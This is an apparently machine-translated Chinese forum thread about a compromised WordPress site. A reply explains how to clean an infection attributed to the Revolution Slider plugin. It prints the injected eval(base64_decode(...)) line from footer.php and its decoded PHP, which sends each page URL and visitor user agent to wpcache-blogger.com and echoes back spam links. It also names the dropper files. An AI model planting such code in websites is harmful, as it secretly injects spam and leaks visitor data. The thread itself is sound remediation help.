突然,这出现在我的wordpress网站上:
解析错误:语法错误,意外的";",期望在第 79 行的/var/www/admin/data/www/wpcache-blogger.com/sape-rolling-sites/config.php 中的"(">
我已经有一段时间没有编辑任何内容了,如果我通过FTP查找该文件夹,则var/www
下没有名为"admin"的文件夹。
你们以前见过这样的事情吗?我找到了另一个线程但没有解决方案,显然它发生在几个人身上,但似乎没有最终答案。
如果您有任何经验,请告诉我
答案在你的根中
进入文件系统并找到页脚.php
然后找到模板/页脚.php
您将看到以下内容:
/* /eval(base64_decode("ZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHNfY3VybCgkdXJsKSB7CiAkY2ggPSBjdXJsX2luaXQoKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgIkxPQ0FMU0FQRSIpOwogJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKIGN1cmxfY2xvc2UoJGNoKTsKIHJldHVybiAkZGF0YTsKfQokbGlua3MgPSBmaWxlX2dldF9jb250ZW50c19jdXJsKCJodHRwOi8vd3BjYWNoZS1ibG9nZ2VyLmNvbS9nZXRsaW5rcy5waHA/YXBpY29kZT1sYWxhbGE0NCZwYWdldXJsPSIudXJsZW5jb2RlKCdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkuIiZ1c2VyYWdlbnQ9Ii51cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKS4iIik7CmVjaG8gJGxpbmtzOw=="((;/*/?>
删除它.....
从这两个区域并保存 - 这将解决问题
这就是代码正在做的事情...
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "LOCALSAPE");
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$links = file_get_contents_curl("http://wpcache-blogger.com/getlinks.php? apicode=lalala44&pageurl=".urlencode('http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])."&use ragent=".urlencode($_SERVER['HTTP_USER_AGENT'])."");
echo $links;
您感染的不仅仅是页脚。检查您是否有以下文件:
footer.php, frommshead.php, options-admin.php, wpinstall - Copy.php
页脚是添加iframe的地方(在base64中(,其余的是感染它的代码
这个技巧都与革命滑块插件有关。请确保先更新滑块。然后更改页脚并删除文件。frommshead.php, options-admin.php, wpinstall - copy.php
如果您的服务器上有多个WordPress安装,请检查所有内容。